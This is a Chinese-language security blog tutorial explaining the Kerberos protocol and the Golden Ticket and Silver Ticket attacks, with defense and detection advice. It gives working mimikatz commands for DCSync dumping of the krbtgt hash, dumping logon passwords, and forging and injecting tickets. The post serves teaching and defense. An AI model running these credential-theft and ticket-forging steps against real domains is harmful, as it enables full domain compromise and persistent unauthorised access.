一文了解黄金票据和白银票据

2022-09-29 21:49:27 浏览数 (2)


一文了解黄金票据和白银票据

前言

某老哥的一次面试里问到了这个问题,故来做一番了解

该攻击方式在BlackHat 2014被提出,演讲者为Alva Duckwall & Benjamin Delpy(@gentilkiwi)进行了演示,该演讲提出了Kerberos协议实现过程中的设计逻辑缺陷,也就是说Windows所有使用Kerberos的场景中都可以进行此类攻击

一、Kerberos协议

首先了解下Kerberos协议,windows域认证常用协议,也是黄金票据和白银票据的攻击场景

大致流程如下:

参与的角色有:

  • Client: Application Client 应用客户端
  • AS: Authentication Server 用来认证用户身份
  • TGS: Ticket-Granting Service 用来授权服务访问
  • SS: Service Server 用户所请求的服务

简单讲,整个过程如下:

  1. Client向KDC发起AS_REQ请求内容为通过Client密码Hash 加密的时间戳、ClientID、网络地址、加密类型等内容
  2. KDC使用Client hash进行解密,并在ntds.dit(只有域控中才有的数据库)中查找该账户,如果结果正确就返回用krbtgt NTLM-hash加密的TGT票据,TGT里面包含PAC(Privilege Attribute Certificate,不同的账号有不同的权限,PAC就是为了区别不同权限的一种方式),PAC包含Client的sid,Client所在的组
  3. Client(客户端)凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
  4. KDC使用krbtgt NTLM-hash进行解密,如果结果正确,就返回用服务NTLM-hash 加密的TGS票据,并带上PAC返回给Client(客户端),这一步不管用户有没有访问服务的权限,只要TGT(认证票据)正确,就返回TGS票据
  5. 此时client拿着KDC给的TGS票据去请求服务
  6. 服务端使用自己的NTLM-hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。

打个比方,整个过程就是:你想坐飞机,但是机场告诉你必须有机票(TGT)才可以登机,接着你去购票处(AS)出示身份证(Client name)购买了一张机票(TGT),你拿着机票登机,在检票处(TGS)出示机票,服务人员告诉了你的座位号(Ticket),然后就可以坐到自己的位置上。

下面比较详细的讲下各个步骤。

1、用户登录

  • 用户登录阶段,通常由用户输入[用户名]和[密码]信息
  • 在客户端侧,用户输入的[密码]信息被通过一个单向Hash函数生成一个[Client密钥]

2、请求身份认证

(1)客户端向AS发送认证请求
  • 客户端为执行登录操作的用户向AS发送认证请求
  • 请求中带有[用户名]信息,用户名以明文形式发送到客户端。

注意:Client往AS发送认证请求时并未发送[密码]或[密钥]信息

(2)AS确认Client端登录者用户身份
  • AS收到用户认证请求之后,根据请求中的[用户名]信息,从数据库中查找该用户名是否存在。
  • 如果[用户名]存在,则对应的[密码]也可以从数据库中获取到。AS利用相同的单向Hash函数为[密码]生成一个秘钥,如果第1步中用户提供的[密码]信息正确,该秘钥与用户登录章节中的[Client密钥]相同。
  • AS为Client响应如下消息:
    • Msg A 使用[Client密钥]加密的[Client/TGS SessionKey]
    • Msg B 使用[TGS密钥]加密的TGT(Ticket-Granting-Ticket),因此该消息Client不可解析。 TGT中包含如下信息:
代码语言:javascript复制
[Client/TGS SessionKey]
Client ID
Ticket有效时间
Client网络地址

Client收到AS的响应消息以后,利用自身的[Client密钥]可以对Msg A进行解密,这样可以获取到[Client/TGS SessionKey]。但由于Msg B是使用[TGS密钥]加密的,Client无法对其解密

注意:

  • AS响应的消息中有一条是属于Client的,但另外一条却属于TGS
  • Client/TGS SessionKey出现了两个Copy,一个给Client端,一个给TGS端
  • 本文中提及的加密,如无特殊说明,均采用的是对称加密算法

3、请求服务授权

(1)客户端向TGS发送请求服务授权请求

客户端发送的请求中包含如下两个消息:

  • Msg C:要请求的服务ID, 即[Service ID];上一步2.2中由AS为Client提供的TGT。
  • Msg D:使用[Client/TGS SessionKey]加密的Authenticator 1 {Client ID, Timestamp}。
(2) TGS为Client响应服务授权票据

TGS为Client响应的消息包括:

  • Msg E 使用[Service密钥]加密的Client-To-Server Ticket, 该Ticket中包含了如下信息:
代码语言:javascript复制
[Client/Server SessionKey]
Client网络地址
Ticket有效时间
Client ID

  • Msg F 使用[Client/TGS SessionKey]加密的[Client/Server SessionKey]。

注意:

  • Msg F使用了[Client/TGS SessionKey]加密,因此,该消息对Client可见。Client对其解密以后可获取到[Client/Server SessionKey]。
  • Msg E使用了[Service密钥]加密,该消息可视作是TGS给Service Server的消息,只不过由Client一起携带。

4、发送服务请求

(1)Client向SS(Service Server)发送服务请求

发送的消息中包括:

  • Msg E 上一步3.2中,TGS为Client响应的消息Msg E。该消息可以理解为由Client为SS携带的消息。
  • Msg G 由[Client/Server SessionKey]加密的Authenticator 2,包含{Client ID, Timestamp}信息。这里的Authenticator 2区别于前面3.1步骤中的Authenticator 1。

注意:

  • [Client/Server SessionKey]并未直接透明传输,而是被包含在使用[Service密钥]加密的Msg E中。
  • 既然[Client/Server SessionKey]并不直接透明传输, Client需要向SS证明自己拥有正确的[Client/Server SessionKey],所以,Authenticator 2使用了[Client/Server SessionKey]加密。
(2) SS响应Client
  • SS收到客户端的服务请求之后,先利用自身的[Service密钥]对Msg E进行解密,提取出Client-To-Server Ticket, 在3.2步骤中,提到了该Ticket中包含了[Client/Server SessionKey]以及Client ID信息。
  • SS使用[Client/Server SessionKey]解密Msg G,提取Client ID信息,而后将该Client ID与Client-To-Server Ticket中的Client ID进行比对,如果匹配则说明Client拥有正确的[Client/Server SessionKey]。
  • 而后,SS向Client响应Msg H(包含使用[Client/Server SessionKey]加密的Timestamp信息)。
  • Client收到SS的响应消息Msg H之后,再使用[Client/Server SessionKey]对其解密,提取Timestamp信息,然后确认该信息与Client发送的Authenticator 2中的Timestamp信息一致。

如上信息可以看出来,该交互过程起到了Client与SS之间的“双向认证”作用。

5、小结

三个过程大致的描述:

  • Client 上的用户请求KDC上的AS服务TGT
  • Client 使用TGT请求KDC上的TGS得到ST(TGS ticket)
  • Client使用ST(TGS Ticket)访问Server

三个过程中涉及到的加密:

  • Client的用户请求AS使用的是用户对应的哈希加密
  • AS向Client返回两段内容,第一段内容是对应用户加密的(Ticket-Granting-Ticket,TGT) ,第二段内容是TGS 密钥加密的TGT(Ticket-Granting-Ticket)
  • Client向TGS发送两段内容,第一段内容为主体为TGT,第二段内容为(Ticket-Granting-Ticket)加密的Authenticator 1 {Client ID, Timestamp}。
  • TGS返回Client两段内容,第一段内容为[Service密钥]加密的Client-To-Server Ticket,使用[Client/TGS SessionKey]加密的[Client/Server SessionKey]。
  • Client向Service server 发送两段内容,第一段内容为Client-To-Server Ticket(未解密),由[Client/Server SessionKey]加密的Authenticator 2
  • 如果正确,Service Server返回[Client/Server SessionKey]加密的Timestamp信息)

整个过程中的Ticket-Granting-Ticket和Client-To-Server Ticket就是我们所说的黄金票据(Golden Ticket)和白银票据(Silver Ticket)

上面所说的TGS 密钥来源于AD上的一个特殊账户,该账户是KDC 的服务账户,系统自动分配密码,该账户会在 AD 安装时自动创建krbtgt,该账户默认禁用,不能用于交互式登录到域,也无法重命名

二、黄金票据(Golden Ticket)

1、原理

黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户

利用前提:

  • 拿到域控(没错就是拿到域控QAQ),适合做权限维持
  • 有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)

条件要求:

  • 域名
  • 域的SID 值
  • 域的KRBTGT账户NTLM密码哈希
  • 伪造用户名

2、利用

(1)获取信息

1、获取域名

代码语言:javascript复制
whoami
net time /domain
ipconfig /all

2、获取SID

代码语言:javascript复制
whoami /all

3、获取域的KRBTGT账户NTLM密码哈希或者aes-256值

用mimikatz

代码语言:javascript复制
lsadump::dcsync /domain:zz.com /user:krbtgt /csv

4、伪造管理员用户名

代码语言:javascript复制
net group "domain admins"

(2)伪造TGT

1、清除所有票据

代码语言:javascript复制
klist purge

2、使用mimikatz伪造指定用户的票据并注入到内存

代码语言:javascript复制
kerberos::golden  /admin:administrator  /domain:zz.com  /sid:S-1-5-21-1373374443-4003574425-2823219550  /krbtgt:9f3af6256e86408cb31169871fb36e60  /ptt

3、防御

防御措施如下:

  • 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码
  • 禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证
  • 建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法
  • 一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力

三、白银票据(Silver Ticket)

1、原理

黄金票据是伪造TGT(门票发放票),而白银票据则是伪造ST(门票),这样的好处是门票不会经过KDC,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),DNS等等

利用前提:

  • 拿到目标机器hash(是目标机,不一定是域控)

条件要求:

  • 域名
  • 域sid
  • 目标服务器FQDN
  • 可利用的服务
  • 服务账号的NTML HASH
  • 需要伪造的用户名

服务列表

2、利用

(1)信息收集

1、获取域名

代码语言:javascript复制
whoami
net time /domain
ipconfig /all

2、获取SID

代码语言:javascript复制
whoami /all

3、目标机器的FQDN

代码语言:javascript复制
net time /domain  
就是hostname 域名 /target:\WIN-75NA0949GFB.NOONE.com

4、可利用的服务CIFS(磁盘共享的服务)

代码语言:javascript复制
 /service:CIFS  

5、要伪造的用户名

代码语言:javascript复制
 /user:Administrator

6、服务账号的ntlm hash(Primary Username : WIN-75NA0949GFB的hash,不是admin的)

代码语言:javascript复制
 /rc4:08d93ddf15a6309a46daaa7ec8565296
#生成了mimikatz.log文件(域控主机执行

7、利用文件共享服务cifs,获取服务账号得NTMLhash值(在14068基础上使用mimikatz获取)

注意:服务账号就是域控名$

代码语言:javascript复制
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> 2.txt
(2)伪造ST

1、清除所有票据

代码语言:javascript复制
klist purge

2、使用mimikatz伪造指定用户的票据并注入到内存

代码语言:javascript复制
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt

结语

简单了解黄金票据和白银票据:

  • 黄金票据:是直接抓取域控中ktbtgt账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。
  • 白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。

检测的话可以参考:Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory

  • Golden Ticket 和Silver Ticket都会在日志,不同的是,Golden Ticket会在域控中留下日志,Silver Ticket 仅在目标系统留下日志,因为Silver Ticket 不与KDC产生交互
  • 产生的日志中,应该关注事件ID 4624(账户登录)、4634(账户注销)、4672(管理员登录),并且域字段应该为Domain 时为空

参考:

  • 图解Kerberos协议原理
  • AD Forest Recovery - Resetting the krbtgt password
  • Golden Ticket
  • Kerberos的黄金票据详解
  • 域渗透之(黄金票据利用)
  • 域渗透之(白银票据利用)
  • 黄金票据和白银票据
  • How Attackers Use Kerberos Silver Tickets to Exploit Systems
  • Kerberos的白银票据详解

红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

0 人点赞